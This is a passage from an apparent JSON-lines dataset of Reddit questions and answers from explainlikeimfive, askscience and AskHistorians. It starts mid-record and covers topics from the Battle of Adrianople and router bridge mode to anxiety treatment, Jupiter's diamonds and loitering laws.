merely continued on their way back home. \n\nAdrianople was different because the barbarians the Roman Empire were fighting, were in fact FLEEING their homeland, due to the pressures of Hunnic invasion on their territory.  The backstory to Adrianople was in fact, that the Gothic barbarians were trying to request asylum inside the empire, but were taken advantage of by unscrupulous administrators, so they rose up in revolt from their refugee camps.\n\nThis is key because that means should the Goths defeat the imperial Army, they had nowhere to go.  They certainly weren't going home, the Huns were still there (and would be coming into the empire shortly anyway).  So much of the subsequent history of the Gothic migrations after Adrianople was about their quest to seek permanent settlement somewhere, preferably in the empire.  \n\nThe settlement problem is in fact the key aspect to the importance of the battle.  The Romans had settled barbarians on their territory before, but on THEIR terms, usually split up, usually separated from their former leadership structure.  The victory of the Goths allowed them to maintain themselves as a cohesive nation migrating within the Roman state.  They had to be dealt with en masse, and once they were finally settled in Aquitaine, because they had an intact leadership system, they were not sitting on their behinds doing nothing.  They began actively antagonizing and attacking nearby cities in order to seize territory.\n\nAnd with this Gothic example, other barbarian tribes followed suit, migrating/raiding/invading their way into Roman territory.  Given the continued structural weakness of the Roman Army, you see the same whack-a-mole barbarian problem as you did in the 3rd century crisis, except that if a barbarian army was defeated, it would be settled whole as a nation, rather than being split up (which the Romans were no longer capable of doing because of the multiple invasion threats as well as their simultaneous manpower shortages).\n\nThus, Adrianople made possible the precedent for future barbarian national settlement inside the Roman Empire, providing political alternatives to the empire itself in the regions where those barbarians were powerful, which would be one of the reasons for the collapse of the empire as a solitary political state.\n\nThat and well... the victory of the Goths at Adrianople allowed them to wander, and eventually go on to sack Rome.  Which was also a bit of a big deal.  \n\nNow if you're wondering why the Goths went west instead of east, the answer is simply: Constantinople.  Though the Theodosian walls were not up at the time, the Goths did not have the equipment to siege cities.  Which is why the \"Gothic War\" of 376-382 was really more of a Gothic ravaging of the countryside, with the rest of the Roman citizens holed up in their fortified cities.  There were simply more opportunities in the villas and fields of the western empire than there were in the hilly Balkan peninsula with its fortified cities.  \n", "Prior to Adrianople, barbarians would serve in the Roman army, and even settle in roman territory, but it would always be on roman terms. Barbarian soldiers would serve under roman officers. They would be broken up in to smaller units. Often, the barbarians would even be dispersed over a large geographical area to make it more difficult for them to rebel against roman authorities. Roman control over this process was important for \"romanizing\" the barbarians. \n\nThe battle of Adrianople is significant in that following it, a large body of barbarians were allowed to settle inside the empire, but it was done on the Goth's terms. The Goths remained autonomous from Roman rule, essentially becoming a nation within a nation. So even though technically the Goths and the Roman were allies for much of the period after the battle of Adrianople, the Goths owed their loyalty to their king first, and then to Rome. And the kings of the Goths became very powerful political figures in the Roman world, able to extract favorable treaties from Rome. And when they didn't get what they wanted, they were fully capable of turning on the Romans and even sacking the city of Rome itself, as the events of 410AD showed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "237626", "title": "what's stopping us from fully curing anxiety disorders?", "selftext": "I've always had a stressed mental life, with anxiety disorder, depression, and the symptoms that come along with them. Loud noises, unexpected contact with others, and even small arguments put me into a panicked state and I can't operate normally. I have adrenaline running through my body most of the day and it leaves me depleted.\n\nI've been on Xanax for the past 6 years because my 2 psychiatrists just threw prescriptions at me for the most part. I've paid thousands of dollars for Neuro-feedback Therapy and it barely did anything for me. I've tried meditation, exercising, and socializing but I have lost control of my mind and body.\n\nWhy is Anxiety/Depression such a difficult disorder to find a cure for?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/237626/eli5_whats_stopping_us_from_fully_curing_anxiety/", "answers": {"a_id": ["cgu30rk", "cgu53uk", "cgu5ug1", "cgu7v8c", "cguan10"], "score": [12, 3, 3, 3, 2], "text": ["We don't fully understand the mechanisms that cause anxiety and depression, and we don't fully understand how certain drugs (anti-depressants mostly) work to counter the effects. It really is a case of observing symptoms, applying something, and hoping it works.  Then there are individual reactions to different medicines, which mean that you can't just develop one cure and have it work for everyone.", "These disorders are so difficult because one is working on the symptomatic level. \n\nI was taking medication prescribed for ADHD, depression, and anxiety for about 8 years. I have been off SNRI's for about 1 year, off ADHD medication for about 5 months, and off anti-anxiety medication for about 1.5 years. I have had to use anti-anxiety medication about once a week to get me to sleep.\n\nI started meditating about 4 months ago and after 2 months of messing around I attended a 10 day retreat taught by Goenka. I still experience depression and anxiety but they don't have the control as they used to.\n\nMy question to you is \"What kind of meditation did you do and how long did you stick to it?\". Here is a link from TED on Vipassana meditation:_URL_0_\n\n", "Short answer, for anxiety disorders and other mental problems?  The brain is incredibly complicated and was most definitely not designed to be user-servicable.", "It seems Anxiety creates more Anxiety and thus makes a vicious circle of being anxious. ", "From what I've seen in my own life and observed in others, a lot of it has to do with how the person is raised and their personal relationships, or how they define 'self' and where they fit in to the world. I grew up being bullied by sister, classmates and later father, but never had any solid lasting relationships because always in books. So I learned that everything that moved or made a noise was a threat and should be defended against - easily one of the worst states of mind to grow up with for an anxiety-ridden person. So when I got meds they only did so much, I could now *act* like a normal person but with nothing to back that up (like years of experience in being normal) a lot of employment and career opportunities have fallen through. Also my crappy liver could only take so much, so now I'm off the meds and just babysit for work. However, I've noticed that for those few moments when I have been confused with a chill human of a being and circumstances played out like a movie script, I've had a few handfuls of amazing interactions with people leading me to feel wanted and loved for some short period of time, during which about 90% of my problems went away, I got my memory and coordination back, no depression, etc. But it always goes away. So long story short, I think meds are a poor solution for something we barely understand that may not even be fixable past a very young age.\n\nEdit: spelling"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=ixu4Kd5R1DI"], [], [], []]}
{"q_id": "77ulwb", "title": "what is \"bridge mode\" on a router, and when it is useful?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/77ulwb/eli5what_is_bridge_mode_on_a_router_and_when_it/", "answers": {"a_id": ["door14a", "door2nv", "doosqjx", "dop2d5r", "dop3kwn", "dopasge", "dopf6ab", "dopfqjw", "dophcyq", "dophh3t", "dopi2oj", "dopipq1", "dopjj79", "dopk4rn", "dopk7uq", "dopm9tn", "dopppl5", "dopughb", "dopvjke", "dopwl0f", "doq2b9n"], "score": [142, 13, 1410, 4, 38, 8, 2, 3, 2, 3, 4, 2, 2, 3, 2, 2, 2, 2, 3, 2, 3], "text": ["In computer networking with the tcp/ip protocol (the one the internet uses), you have small networks linked together by routers to become a large internetwork. \n\nA single network is identified by its use of a single tcp/ip addressing \u201csubnet\u201d. In tcp/ip, every computer on the network has an IP address, and you can use that address to figure out which of all the connected networks that computer is on. Imagine that a subnet is like the block your home is on, and if you saw the home address of another house you\u2019d be able to tell just by looking at the address if that house is on your block or another block. \n\nSo routers are the things that connect subnets together, that take network \u201ctraffic\u201d and forward it to the next subnet if it\u2019s supposed to go that way. \n\nBut if you change the router to \u201cbridge\u201d mode, that tells the router to treat both sides, both networks, as if they\u2019re the same subnet. Effectively it makes a transparent connection between the two networks so they become one. The ip addresses on both sides have to be in the same subnet. The \u201cbridge mode\u201d router now forwards ALL traffic it sees on one side to the other side automatically. ", "In bridge mode the bridge router uses it's wireless to connect to the wireless of another router.  This forms a wireless link, or bridge, between the two.  The network ports on the bridge router are used to connect non wireless clients to your network.  Those clients can communicate with the rest of your network due to their traffic being sent over the wireless bridge.  This is useful when you have a spare access point and want to use it with non wireless computers.  I have an upstairs desktop that uses a bridge router for it's connection which saved me from having to buy another wireless NIC.  Another benefit is if you have multiple wired computers going to the bridge router.  They all share the one wireless connection which slows them down a bit but doesn't slow the whole wireless network down as much as multiple wireless clients each with their own wireless connection would.  Also because wireless access points tend to have larger antennas.  They can typically communicate over longer distances.  Say like between a house and detached garage.", "It can mean different things. A home router is often a router and a modem combined, but the router part tends to be pretty crappy.\n\nBridge mode basically disables the router part, allowing you to use the modem to connect a second device directly to the Internet.\n\nThe downside is that you can only connect one device this way (usually). Hence, it is usually used to connect a second, better router. The upside is that the slow and buggy built-in router goes out of the way.\n\nThen there's also bridge in the context of WiFi, which was already explained.", "A router connects two networks together. Data that needs to be routed needs to go through a router to determine where it needs to go. You need a router when traversing differing networks (eg. your home network, to your ISP, to the internet, to Reddit's ISP, to /r/IASIP).\n\nYou don't need a router when you're in your own network (technically, broadcast domain). Going from your computer connected to a switch, to another computer in that same switch does not require routing. If everything is connected to a single switch, that's one broadcast domain. If the two switches are connected to each other, that's also a single broadcast domain (excluding enterprise networking, where a single switch can do magical things, like VLANs, L3 routing within, client isolation, and more).\n\nBridge mode makes a router act like a switch, where it stops trying to route packets across the network. Then, you can use a router in bridge mode to connect to another switch, and have it all be on the same broadcast domain.\n\nYou'd use bridge mode at home in examples such as:\n\n* Reusing an old router to extend your current network, but don't want to do weird things like double NATs inside your home network.\n\n* Bypassing your required ISP router (Looking at you, VZ FiOS) so that you can use your own router without doing the above double NATs.\n\nSight tangent: using double NAT can cause connectivity issues with services such as online multiplayer, and introduces an additional step required to disable the inherent-by-design one-way flow of data when using typical home/SOHO routers using 1:N NAT.", "So before this question can be answered I feel like an explanation of what a router does and what a bridge does in the context of networking is useful\n\nIn networking routers and bridges were kind of designed to do the same thing. Take two separate networks and connect them together. The major difference is how that is done. With a bridge the two networks are connected together to make 1 larger network. With a router, the two networks remain unchanged, but they still gain the ability to communicate with each other. \n\nIn terms of a home router, or router that is supplied by the ISP. Think about the internet as one network, and your computers and devices as another. In bridge mode, your devices are connected directly to the internet. In routed mode your devices are connected to their own network, but gain the ability to communicate with the internet. This is much more secure way to connect your devices to the internet. \n\nLike any other product, routers can vary in performance, and features, so bridged mode is useful when the modem/router combo your ISP supplies you does not meet your needs and you'd like to add your own. So you place the modem/router into bridge mode, and then connect your own router. Then it's like your router has been directly connected to the internet.\n\n", "Bridge mode is simply a way to turn a wifi signal into a hard wired port on your network.\n\nLet's say you wanted to connect your smart TV to the internet, but there is no wifi functionality and there's only an Ethernet port. But the TV is on the opposite side of the house as the router, an on a different floor as well. You could run a cable several hundred feet, through walls and through the ceiling and connect it that way. Or you could take a 2nd router and create a wifi bridge. The 2nd router acts more like a wifi receiver, connecting to the existing network as a new wireless device rather than creating a new wifi network. The ports on the router then act as a local switch, and in some cases multiple devices can be connected. So now the internet signal travels from the modem to the wifi router, then to the bridge, along the cable and into the television. And vise versa.\n\nBridge mode let's you create a wireless connection between wired devices. A bridge. ", "Here's my ELI5 attempt... Have you ever seen a round-about or rotary traffic intersection? A car can come into a rotary from many different directions and choose to leave in many different directions. That's kind of how a router works - packets of information enter a router and can enter from and leave to different connections of networks. Have you ever seen a bridge over water connecting two pieces of land? Well that's how a network bridge works also. It only connects two different networks, and there's no other options. Edit: A network bridge is useful in that it provides a connection between two known endpoints. This might be valuable for security, or to overcome a physical limitation of a network, like to overcome the 330 ft limitation of cat 5 network cabling or wireless network radio signal boosting.", "There is a \"bridge mode\" in all-in-one modem/router/wifi combo boxes that disables the router and wifi so you could use your own/better equipment if desired.\n\nIf bridge mode is disabled and you put in your own router down stream (most times) you're going to have internet issues.\n\nI can get more detailed and non-eli5 if wanted. ", "A router is essentially a bridge connecting your home network to the internet. \nIt also manages your home network by providing network addresses to all your devices and \u201crouting\u201d network traffic to another connected device or the internet. \nI have my own WiFi router that all my devices are connected to which I like better than the one Comcast provides.\nI connect my router to the Comcast router to access the internet but now I have 2 routers on the same network trying to \u201croute\u201d my traffic which can cause problems and slow down the internet.  \nTo avoid this I place the Comcast router in \u201cBridge Mode\u201d which basically disables all the management functions and just passes the internet traffic directly to my router. ", "A practical example I've used: I had my phone, laptop, and another device with only wired ethernet. \nMy phone has 3G internet and can hotspot my laptop over wifi. \nMy laptop has wifi and an ethernet port.\n\nI bridged my laptops wifi+ethernet port while on my phone's hotspot.\n\nPlug in wired device to laptop, got dhcp+internet from the phone's wifi hotspot.", "A switch is a multiport bridge.  There are occasions where you don't want a router to route.  You just want it to act as a switch.  For example, my 2nd router is used as a 2nd wireless access point and switch.  Thus, it is acting as a bridge.  It doesn't route.", "A bridge in network terms is that you take 2 networks and make them 1. In a home router/modem combo this basically disables the router part.", "This term is most often used with combination modem/routers you get from the ISP. \n\nA modem is the machine that connects you to your ISP (cable/fiber/DSL). Think of is like a cable/fiber/DSL to Ethernet converter. \n\nA router creates and manages a network. It hands out addresses and keeps the bad guys out with a firewall. \n\n\u2014", "My work phone requires a hardline internet connection (can't connect wirelessly) - bridge mode allows the bridge to connect to my wireless router (in another area of the house) so I can connect my phone to it through the bridge.\n\nIt is not acting as a wireless router anymore - It does not duplicate or repeat a wireless signal to act as a separate wireless router ", "Here is a simple explanation. You have cable internet. Their equipment sucks. But you need it for internet. You own an apple airport. It works really good. So to use it you need a way for the internet to travel to it and then to everything on WiFi. When you turn the cable modem to bridge mode, the internet travels from the wall, through the cable modem and into your apple airport. Like a bridge. ", "For me personally it was so I could bridge a router off of another one so I could have strong wifi in the attic which worked great. ", "Anyone else think he was talking about power tools?", "I used this ages ago, to wirelessly connect my (non-wireless) computer to an inaccessible router, using a wireless router. \n\nRouter A has internet, wirelessly bridged router A to router B, then just connect computer to router B via ethernet cable.", "Practical use: I\u2019m a network engineer and use a hardware firewall on the edge of my network. For work purposes, I want the \u201cpublic IP\u201d address normally assigned to my modem on my firewall instead, so I put the modem in bridge mode. It basically disables routing functionality on the modem and just passes the public IP back to the firewall instead and ONLY acts as a modem.", "A bridge is a device that takes everything it sees on one interface and retransmits it out a different one.  This can be done to connect two different physical connections together, for example a television cable internet signal and a home Ethernet network.  Bridges are generally dumb and don't process the data. \n\nIn contrast a router can connect two different physical networks but thinks about the data and makes intelligent decisions before sending it on. In your home network it often will translate your private addresses to 1 single public address. \n\nA router in bridge mode at home is usually used to allow your internal devices to each ask the ISP for a public address. ", "I'm a bit late but I feel like true ELI5 is still missing, so let me give it a go. \n\nYour typical home router is actually multiple devices in one - modem,  firewall and router. \n\nLet's imagine, that your download is like apples delivery to apple processing factory.\n\nFirst there's modem, that's a worker that can unload all the apples from truck and puts them on the belt. \n\nThen there's firewall, that's a guy down the belt path, that's filtering all the bad apples out. \n\nFinally there's router, this guy takes all the apples from the belt and puts them on one of the outgoing belts. Some apples are good for cooking, so they'll go to the cooking belt, some are nice enough to be packaged and sold. The beautiful ones will end up on premium belt and will be sold in those fancy packs as a premium produce. The router decides the future destination of each apple.\n\nNow in regular mode, your router does all those things above.\n\nIn bridge mode, only the modem part (unloading the apples from the truck) is done. Why would you want that? Typically it's because you'll connect better (dedicated) firewall and router down the road. (imagine it like a separate unloading facility with separate building for the other stuff) \n\nYour computer can work as router and firewall as well if you connect it directly in the bridge mode. Sometimes it makes the installation easier if you want to connect just that one computer.."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "egqb42", "title": "How do we know that it rains diamonds on Jupiter? In fact, how do we calculate elemental density on any planet for that matter?", "selftext": "Haha matter", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/egqb42/how_do_we_know_that_it_rains_diamonds_on_jupiter/", "answers": {"a_id": ["fc9wc7y"], "score": [265], "text": ["I believe the presence of diamond on Jupiter is just theoretical at the moment; there\u2019s no direct evidence. The theory runs like this:\n\nWe know from spectroscopy (see earlier postings) that carbon-rich compounds exist in Jupiter\u2019s upper atmosphere. We also know that Jupiter gets hotter the further you go into the atmosphere and that there are lightning storms. Both of these can reduce carbon compounds to graphite particles.\n\nGraphite is only stable at relatively low pressure so any graphite carried deep into Jupiter\u2019s atmosphere would be recrystallised by heat and pressure into diamond.\n\nThe weakness of this theory is that Jupiter (and Saturn) only contain a small proportion of carbon - fat more of their mass is hydrogen and helium, so carbon compounds might be too dilute to allow for crystals to form. \n\nA better bet might be the two smaller ice giants Uranus and Neptune. These lost most of their hydrogen and helium early in their lives: instead, they have high concentrations of methane  (CH4). And they are still massive to have immense temperatures and pressures deep in their interiors.that might be enough to create diamonds.\n\nProbably we\u2019ll never know for sure as the temperatures and pressures needed to make diamonds are far beyond any sort of space probe we can conceivably build."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2pdafu", "title": "If you conducted an experiment where you spilled the same amount of liquid, from the same height on to the same flat surface, would the liquid land (and splash) in the same place every time? If not, why not?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2pdafu/if_you_conducted_an_experiment_where_you_spilled/", "answers": {"a_id": ["cmvlw1d"], "score": [50], "text": ["If you're asking \"are the governing laws of fluid motion deterministic\" the answer is yes for any kind of normal fluid at a scale where you can neglect quantum effects.\n\nAs a thought experiment, think of an eye dropper releasing a single drop of water onto a piece of glass. If you have *the exact same* initial conditions, it should always have the same end result. The reality is that turbulence, instabilities, and other such phenomena (like a droplet breaking apart when hitting a surface) are *extremely* sensitive to initial conditions, and it's quite impossible to reliably achieve the exact same initial conditions (outside of a computer simulation) in exacting detail.\n\nTypically macroscopic, statistical or averaged descriptions of the drop impact will remain the same (X% of liquid is found within Y radius), but all the little minutiae will be rather different."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9eu0cf", "title": "Did Ted Kaczynski share his manifesto with anyone before it was printed by the media in 1995?", "selftext": "And did he discuss his manifesto/thoughts with others (also before 1995)?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9eu0cf/did_ted_kaczynski_share_his_manifesto_with_anyone/", "answers": {"a_id": ["e5rml3e"], "score": [7], "text": ["It\u2019s unlikely that he would have shared the manifesto and also unlikely that he shared his beliefs in any details with others, beyond possibly his brother David. \n\nRemember that Kaczynski largely lived as a hermit from 1971 until his apprehension in 1996. He had very few connections to other people and hadn\u2019t even spoken to his brother since 1985. The FBI found him after they published his manifesto broadly in major papers hoping someone would recognize the themes or writing/formatting style. Kaczynski\u2019s style was very unique and the FBI had already narrowed down his educational background, age and areas where he grew up and likely had lived from it.\n\nDavid was the only one who called the FBI IDing his brother as a Unabomber suspect. I\u2019m not sure to what extent David recognized his brother\u2019s ideology vs writing style in the manifesto, but I know that he provided the FBI with writing samples that convinced them that Ted was the Unabomber. I do know David has been interviewed and has written extensively about what happened and his decision to go the FBI, so I\u2019m sure you could dig up whether Ted had shared his ideology with David pretty easily."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9f1edf", "title": "why is ca assault weapon registration bill is a problem?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9f1edf/eli5_why_is_ca_assault_weapon_registration_bill/", "answers": {"a_id": ["e5t34qm", "e5t36x8", "e5t376j"], "score": [6, 7, 6], "text": ["The first step in the government's process of taking something away by force is knowing who has the item to be taken away.  Extrapolate from there.", "Some people believe that such a law violates the rights granted in the Second Amendment. Because this is specifically targeting a type of firearm they may be correct. \n\nLogistically there is no national registry for any firearms. Each state that has them has different standards and they do not automatically share their lists with one another. These lists also tend to not apply to those that are sold person to person. Such lists will also do nothing to prevent criminals from getting them. ", "First there is no generally accepted definition of \"assault weapon\", and there is broad opposition to the idea of weapon registration because it has almost no point other than to enable later restrictions. The fear is that registration today will just be preparation for confiscation in the future."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5u6m4r", "title": "why are some beautiful people not photogenic?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5u6m4r/eli5_why_are_some_beautiful_people_not_photogenic/", "answers": {"a_id": ["ddrq9yu", "ddrr1vj", "ddrsz8q", "ddrz4bi", "dds0b1i", "dds0tap", "dds7m2f", "dds9fly"], "score": [25, 14, 2, 3, 12, 11, 3, 10], "text": ["Not an expert, but I think it has something to do with depth perception.\n\nMany people carrying a bit of extra weight look unappealing in still photos because when reduced to two dimensions they just look wide like a tent.\n\nIn motion or in real life we can make out their three dimensional form, which is more appealing I.e.. a bulky man's musculature or a bulky woman's curves are more noticeable with movement or in 3D.", "Actually, not funny joke from photographers' life.\nTwo of them chatting:\n-Hi, I heard you've got a new girlfriend? Pretty?\n-Well, you know, depends on a lighting scheme.\n\nSo as a photographer I should say this joke is kinda realistic. Lighting is the key in portrait shooting.", "Some people weirdly can't smile properly when posing for a camera.  It's more than the smile being unnatural...It actually turns into a grimace in some people.", "I think that there are a few things at play. A photograph is a still moment-some people look great (to you) because of how they move, or posture, or facial expressions, that are super difficult to accurately capture with a photo. Also, a good photographer is hard to find. I am an absolute mess, but I only point and click. \n\nI've found that people with good pics consistently know how to pose for that. I am a fan of pinups, and the combination of a good pose and a good angle works wonders. ", "Candid photos are almost always unflattering. Actors on film and tv undergo a lot of preparation to be ready for the camera (makeup, hair, wardrobe, etc.). You can be considered 'photogenic' if you can take a good candid photo, but I can guarantee even photogenic people don't have good photos taken of them, every time.", "Many attractive people are perceived as attractive because of a combination of voice, posture, body language, etc. A photograph will miss some of those characteristics (anything to do with sound or motion).", "The Focal Length of a lens has a lot to do with how a person looks on a camera. As a result, certain lens types will make a person appear differently than they do in person. Because our brains do a lot of processing of images, it is hard to point out exactly why, but in my personal experience, Each person will look the most photogenic (for this explanation I will use \"better\" to describe this) with a specific focal length lens. Take a look at the link at the bottom of this post for a visual example of this.\n\nTo explain focal distance in this context, a fish eye lens has a very short focal length. This will make people appear more rounded.  A longer focal length will by contrast make people appear flatter, but actually let you see more of their face. The distance the photo is taken at also factors in, but this is the general sense of it.  In the link below you will notice that with a small focal length, you cannot see her ears, yet at a further focal point, you can.\n\nFinally, since cell phones are the #1 source of photos for most people, it is important to note that the zoom on most cell phones is done digitally (the photo is just cropped to size) rather than changing the focal length. Therefore, people will appear either photogenic, or not.  There is no changing focal lengths unless you get some sort of add on lens kit for your phone.\n\nI hope this explanation helps, but for the TL:DR crowd, \nFocal length is a huge factor in how people look on a camera.\n\n[Visual Link](_URL_0_)", "Some people just simply do not know HOW to be photographed. Eyes get too wide for no reason, don't elongate the neck so they emphasize the double chin, don't feel comfortable and every shot looks awkward and forced. Doesn't matter HOW pretty/handsome you are, if the photographer doesn't help... or have a clue how to take a photo (in the case of the dreaded selfie) it's actually quite difficult to get a photo that looks any good. As a photographer, technical skill required to actually USE a camera is actually less important than creating a connection with the model and making them feel at ease having their photo taken. \n\nAlso if they are using a wide angle lens up close for portraits (i.e. 35mm or wider), the distortion alone will make the face look all bloated and wide. Very unflattering. \n\nAnd of course lighting. Good light, be it natural or created is just as important and helps to sculpt the face to create a beautiful image. \n\nJust my 2 cents."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://annawu.com/blog/2011/09/focal-length-comparison/"], []]}
{"q_id": "45c2mh", "title": "loitering and why is it illegal", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/45c2mh/eli5_loitering_and_why_is_it_illegal/", "answers": {"a_id": ["czwq03q", "czwq29t", "czwrjak", "czww65a", "czx0vbp"], "score": [5, 11, 3, 3, 2], "text": ["Let's say you own a gas station. Would you not want the right to kick random people out that are just using your place to hang out and smoke cigarettes with friends", "Loitering is standing around  &  doing nothing in a place where people don't want you to do it.  It's a step below trespassing in that you're allowed to be there *if* you have a good reason, while trespassing means you're completely not allowed to be there.\n\nIn some cases, it's just because people want you to move on - store owners don't want you hanging out in the parking lot all day when they're done shopping.  People standing around doing nothing can lead to problems with vandalism, drugs  &  other sorts of things.", "In the USA, some cities tried to prevent certain crimes by making it illegal to \"loiter\" defined as \"remain in one place with no apparent purpose.\" This was found to be unconstitutional -- the courts determined that people have a right to loiter in this manner.\n\nSome cities still prohibit much more narrowly defined kinds of loitering, by including additional bad things you must be doing at the same time.\n\nHowever, hanging around a long time *on someone else's private property* can still be illegal loitering.", "You've gotten good answers.  A systematic way to think about it would be as an answer to the question: who owns public spaces? In general we try to say that anything that doesn't belong to anyone in particular belongs to *everybody*, but that only works so long as people are very well-behaved.  If you say everyone owns the skies, people pump pollution into the air.  If you say everyone owns the rivers, farmers try to hoard water and you get droughts.  If you say everyone owns the grazing land, people put too many cows onto it, rip out the grass, lose the topsoil.\n\nIn cities the idea is that everyone owns public spaces, but if people start using them in a way that ruins things for everyone else, you need to crack down on it or the city goes to hell.  Sometimes this is a simple fix - if you run out of parking spaces maybe you give residents permits (the parking spaces belong to the people who live there), maybe you give business special spots (the spaces belong to the people who need them to make the city economy hum), maybe you put up parking meters (the spaces belong to whoever needs them the most and is willing to pay for them).  \n\nLoitering is like that.  Loiterers can be noisy.  Loiterers can effectively claim a corner of public space as \"their\" property (by spreading out so that you can't get through their group without getting very close to them).  Loiterers egg each other on to anti-social behavior (because most people will be ashamed if, say, they damage public property and an old person scolds them... but if they're with friends they'll all join in mocking the old person).  Loiterers often seem untrustworthy, as people who have no role in a neighborhood (they don't live there, they don't work there, they aren't buying anything), and they cause people to worry about crime.  Because people don't like to be around groups of loiterers, they're bad for businesses, which depend on foot traffic, and they're bad for neighborhood spirit, which depends on feeling at home in your neighborhood, spending lots of time out and about, and seeing other people doing the same thing.  Effectively, loiterers are polluting a public space; they take some place which is legally \"open to the public\", claim an ownership over it that isn't compatible with the rights of others to the same public space, and force the city to fight back with the clarification that the loiterers come pretty far down on the list of owners.", "Every single time I go to gas station X, I get asked for money from the people outside, sometimes they even get mouthy.  I don't want to do business at that gas station anymore because of the fear of being harrassed.  Loitering laws basically says \"Do what you need, and get out\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2k3jmz", "title": "How were Transgendered people viewed in the United States in the 1950's?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2k3jmz/how_were_transgendered_people_viewed_in_the/", "answers": {"a_id": ["clhtluu", "cli75t2"], "score": [12, 6], "text": ["Clarification op, are you talking about the phenomenon we describe as being transgender or about individuals specifically called transgendered?", "Check out Stonewall by Duberman.  It's a little later than the 1950s, but It recounts the history of the Stonewall riots in New York, and the police raids of bars leading up to the riots.  In the raids the police didn't discern much between being homosexual and transgendered.  Having male anatomy and wearing a dress was categorized as the same type of deviant behavior as a man trying to have sex with a man.  Lesbians and trans men could be arrested if they weren't wearing three articles of feminine clothing.  During raids, biological sex would be verified by a female officer stationed in the restroom.  \n\nWhen the riots occurred, Duberman notes how witnesses characterize the drag queens as being the most outspoken protestors.  This is where it gets difficult to accurately describe people.  One person an observer describes as a drag queen in the 1960s might identify as a trans woman today.  Or they may still identify as a drag queen.  The perceptions of the time even among gay and lesbian people often failed to cover the distinction.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1eeff4", "title": "If you had two hypothetical liquids with the same density, one polar, one nonpolar, what would happen if you mix them?", "selftext": "I understand that density is a fucntion of the structure of a molecule, so this is probably impossible, but what if?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1eeff4/if_you_had_two_hypothetical_liquids_with_the_same/", "answers": {"a_id": ["c9ziccs", "c9zk4ws", "c9zmbo3", "c9znu49"], "score": [9, 2, 3, 3], "text": ["they form bubbles within each other, which will collapse into larger bubbles when they touch.  Since the density is the same, neither one will be able to float to the top, so they'll stay as bubbles within each other...  assuming neither one likes the outside of the vessel they're sharing.\n\nAnd, of course, one will like the vessel more than the other, so one will probably form a coating on the outside and bottom of what ever holds the liquids.  (Usually that's the more polar one, if you've got a glass bottle, though plastic might go the other way.)  One will probably like air more (usually thats the non-polar one), as well, but that would determine which one is on the top. \n\nSo, you might end up with a bubble in the middle (like the cream filling of a donut, but more spherical), or you might end up with a blob that \"floats\" on top, if it likes the air more, but the containers less.\n\nThat's just a best guess based on the chemistry of solvents.", "It actually is a large combination of factors.  One of the reasons you usually see droplets form in mixed mediums is not because of the density, but because of the surface tension which is not directly tied to density.\n\nYou would most likely see more of a suspension where the polar liquid forms droplets while the less polar liquid prefers to stay in the space around the polar liquid.   Any movement would be controlled by forces other than gravity. \n\nYou could actually get a large range of interaction types depending on the molecules.  ", "I think you already have some nice answers here.  But I just wanted to say: *what a wonderful question!*\n\nSeriously, this is one of the more original questions I have seen around in askscience.  If you keep asking these types of questions (and seeking answers) you might have a nice scientific career ahead of you :)", "Great question. I know I'm also on a bit of a delay, but--let's say their affinities for the air and the container surface are also identical, so there's no tendency to accumulate on either interface. You can still separate them. Since one is polar and the other is nonpolar, the polar  component will be able to dissolve more (for example) salt. It might not be much, but it'll be enough to begin slow separation. Then you can distill off the liquid from the salt.\n\nOf course, this is probably obvious and not particularly useful because this is only a hypothetical case. But extractions in chemistry frequently go awry (particularly when certain metals are involved--everyone I know has had a terrible experience with either aluminum or titanium emulsifying... everything) and adding certain salts frequently helps to break the emulsion. In those cases, granted, it's not to alter the density but usually to make the two solvents too different in polarity to form the emulsion as well. But the same principle applies: don't be afraid to change a system reversibly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
